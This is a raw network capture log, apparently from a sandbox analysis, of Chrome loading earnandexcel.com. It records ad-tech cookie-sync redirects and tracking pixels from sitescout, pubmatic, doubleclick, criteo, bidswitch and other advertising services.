2024-04-11 21:27:05 UTC	695	OUT	GET /dmp/pixelSync?cookieQ=1&nid=23&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=08375435-4bac-4a12-9c28-185426f7e004#1712870824709
2024-04-11 21:27:05 UTC	1158	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=08375435-4bac-4a12-9c28-185426f7e004#1712870824709; Domain=.sitescout.com; Expires=Fri, 11-Apr-2025 21:27:05 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyI0OCI6MTcxMjg3MDgyNTkwNCwiMzkiOjE3MTI4NzA4MjU5MDQsIjciOjE3MTI4NzA4MjU5MDR9; Domain=.sitescout.com; Expires=Sat, 11-May-2024 21:27:05 GMT; Path=/; Secure; SameSite=None location: https://sync.crwdcntrl.net/qmap?c=1389&tp=STSC&tpid=08375435-4bac-4a12-9c28-185426f7e004-661855a8-5553&gdpr=0&gdpr_consent=&d=https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Fpush%3Fpartner_id%3D2499%26partner_device_id%3D08375435-4bac-4a12-9c28-185426f7e004-661855a8-5553%26partner_url%3Dhttps%253A%252F%252Fce.lijit.com%252Fmerge%253Fpid%253D16%25263pid%253D08375435-4bac-4a12-9c28-185426f7e004-661855a8-5553%2526gdpr%253D0%2526gdpr_consent%253D Content-Length: 0 date: Thu, 11 Apr 2024 21:27:05 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.17	50374	34.36.216.150	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	624	OUT	GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:06 UTC	438	IN	HTTP/1.1 302 Found set-cookie: ssi=d2fb62d0-6f43-4efe-8ace-b1ca0f8e51d2#1712870825972; Domain=.sitescout.com; Expires=Fri, 11-Apr-2025 21:27:05 GMT; Path=/; Secure; SameSite=None location: https://pixel-sync.sitescout.com/dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= Content-Length: 0 date: Thu, 11 Apr 2024 21:27:05 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.17	50376	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	697	OUT	GET /ecm3?id=LUVR2A3B-N-5ZEP&ex=d-rubiconproject.com&status=ok HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:06 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: BN6N6Z2Y097TSPJ4HNJE Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-11 21:27:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.17	50377	34.36.216.150	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	698	OUT	GET /dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=e6ef51c6-bf79-4ef8-8306-49833c46ea9d#1712870824786
2024-04-11 21:27:06 UTC	840	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=e6ef51c6-bf79-4ef8-8306-49833c46ea9d#1712870824786; Domain=.sitescout.com; Expires=Fri, 11-Apr-2025 21:27:06 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyI0NSI6MTcxMjg3MDgyNjE1Mn0; Domain=.sitescout.com; Expires=Sat, 11-May-2024 21:27:06 GMT; Path=/; Secure; SameSite=None location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=e6ef51c6-bf79-4ef8-8306-49833c46ea9d-661855a8-5553&gdpr=0&gdpr_consent= Content-Length: 0 date: Thu, 11 Apr 2024 21:27:05 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.17	50391	192.184.68.215	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	737	OUT	GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:06 UTC	828	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=BUfXRQZEhxweRdAfAhPLSFcX1kQeQdVOUBPMeygg P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV" Pragma: no-cache Set-Cookie: d=EKABCwHLK_ijAA; expires=Wed, 10-Jul-2024 21:27:06 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Set-Cookie: mc=661855aa-46b1b-5df09-033cb; expires=Mon, 12-May-2025 21:27:06 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.17	50352	44.199.126.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	733	OUT	GET /sync/rubicon/GwdIPMjxG_i4uNo47I2Yng?csrc= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q
2024-04-11 21:27:06 UTC	873	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Length: 0 Connection: close Location: https://pixel.rubiconproject.com/tap.php?v=31950&nid=2974&put=y-lpdOMsRE2oKCtoWwqNrppRHHcud1WJUnLQu1Cw--~A Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q; Expires=Sat, 12 Apr 2025 03:27:06 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.17	50384	54.160.182.222	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	1406	OUT	GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA; sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA
2024-04-11 21:27:06 UTC	304	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 11 Apr 2024 21:27:06 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=uJS8wzsvUNNALSsYHAMcYJySJMU&gdpr=0&gdpr_consent= Content-Length: 188 Connection: Close
2024-04-11 21:27:06 UTC	188	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 7a 45 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 75 4a 53 38 77 7a 73 76 55 4e 4e 41 4c 53 73 59 48 41 4d 63 59 4a 79 53 4a 4d 55 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=uJS8wzsvUNNALSsYHAMcYJySJMU&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.17	50360	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	727	OUT	GET /pixel?google_nid=rp&google_cm&google_hm=TFVWUjJBM0ItTi01WkVQ HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
2024-04-11 21:27:06 UTC	679	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://pixel.rubiconproject.com/exchange/sync.php?p=dfp&google_gid=CAESEIXuUeM9YdpxPVFBSOJ6oM4&google_cver=1 Date: Thu, 11 Apr 2024 21:27:06 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 314 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:06 UTC	314	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 65 78 63 68 61 6e 67 65 2f 73 79 6e 63 2e 70 68 70 3f 70 3d 64 66 70 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 45 49 58 75 55 65 4d 39 59 64 70 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://pixel.rubiconproject.com/exchange/sync.php?p=dfp&google_gid=CAESEIXuUeM9Ydp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.17	50365	35.211.118.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	853	OUT	GET /sync?bidswitch_ssp_id=pubmatic&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705 HTTP/1.1 Host: r.bidswitch.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
2024-04-11 21:27:06 UTC	493	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Thu, 11 Apr 2024 21:27:06 GMT Location: https://pixel.tapad.com/idsync/ex/receive?partner_id=3205&partner_device_id=4a756380-b7e0-40d8-87fd-f9b0074cc705&partner_url=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D393%26user_id%3D0%26ssp%3Dpubmatic%26bsw_param%3D4a756380-b7e0-40d8-87fd-f9b0074cc705 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.17	50369	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	786	OUT	GET /syncframe?origin=publishertagids&topUrl=earnandexcel.com&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1 Host: gum.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:06 UTC	642	IN	HTTP/1.1 200 OK content-type: text/html; charset=utf-8 date: Thu, 11 Apr 2024 21:27:06 GMT server: Kestrel cache-control: private, max-age=3600 set-cookie: uid=8d73be0a-2d5a-47ea-8080-ce4174558daf; expires=Tue, 06 May 2025 21:27:05 GMT; domain=.criteo.com; path=/; secure; samesite=none set-cookie: optout=0; expires=Thu, 01 Jan 1970 00:00:00 GMT; domain=.criteo.com; path=/ transfer-encoding: chunked x-robots-tag: noindex cross-origin-resource-policy: cross-origin cross-origin-embedder-policy: require-corp server-processing-duration-in-ticks: 385588 strict-transport-security: max-age=31536000; preload; connection: close
2024-04-11 21:27:06 UTC	14626	IN	Data Raw: 33 39 31 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 43 4f 4e 46 49 47 5f 43 53 4d 5f 44 4f 4d 41 49 4e 5f 4e 41 4d 45 20 3d 20 22 63 73 6d 2e 75 73 35 2e 75 73 2e 63 72 69 74 65 6f 2e 6e 65 74 22 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 43 4f 4e 46 49 47 5f 43 53 4d 5f 52 41 54 49 4f 20 3d 20 31 30 30 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 47 55 4d 5f 44 4f 4d 41 49 4e 20 3d 20 22 67 75 6d 2e 63 72 69 74 65 6f 2e 63 6f 6d 22 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 Data Ascii: 3915<!DOCTYPE html><html><head> <script type="text/javascript"> window.CONFIG_CSM_DOMAIN_NAME = "csm.us5.us.criteo.net"; window.CONFIG_CSM_RATIO = 100; window.GUM_DOMAIN = "gum.criteo.com"; </script> <script type="t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.17	50359	34.120.135.53	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	764	OUT	GET /esp?url=https%3A%2F%2Fearnandexcel.com%2F&rid=esp HTTP/1.1 Host: oajs.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870823933947
2024-04-11 21:27:06 UTC	390	IN	HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: https://earnandexcel.com Vary: Origin Access-Control-Allow-Credentials: true Content-Type: application/json; charset=utf-8 Content-Length: 85 ETag: W/"55-c4iVJb6LhdZtYzTE0JN/mwBQIjM" Date: Thu, 11 Apr 2024 21:27:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:06 UTC	85	IN	Data Raw: 7b 22 65 73 70 22 3a 22 65 79 4a 70 49 6a 6f 69 55 6e 56 73 55 45 39 79 4b 31 4e 55 59 55 64 6e 51 30 68 69 4e 48 59 31 62 6b 78 47 55 54 30 39 49 6e 30 3d 22 2c 22 69 22 3a 22 52 75 6c 50 4f 72 2b 53 54 61 47 67 43 48 62 34 76 35 6e 4c 46 51 3d 3d 22 7d Data Ascii: {"esp":"eyJpIjoiUnVsUE9yK1NUYUdnQ0hiNHY1bkxGUT09In0=","i":"RulPOr+STaGgCHb4v5nLFQ=="}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.17	50351	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	808	OUT	GET /sync?dsp_id=4&user_id=52f7b6d2-f774-409d-9ad9-9331a3cf6844&ssp=themediagrid&expires=30&user_group=5&bsw_param=4a756380-b7e0-40d8-87fd-f9b0074cc705 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
2024-04-11 21:27:06 UTC	187	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, must-revalidate
2024-04-11 21:27:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.17	50356	35.241.45.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	523	OUT	GET /js/pandg-sdk.js HTTP/1.1 Host: pghub.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
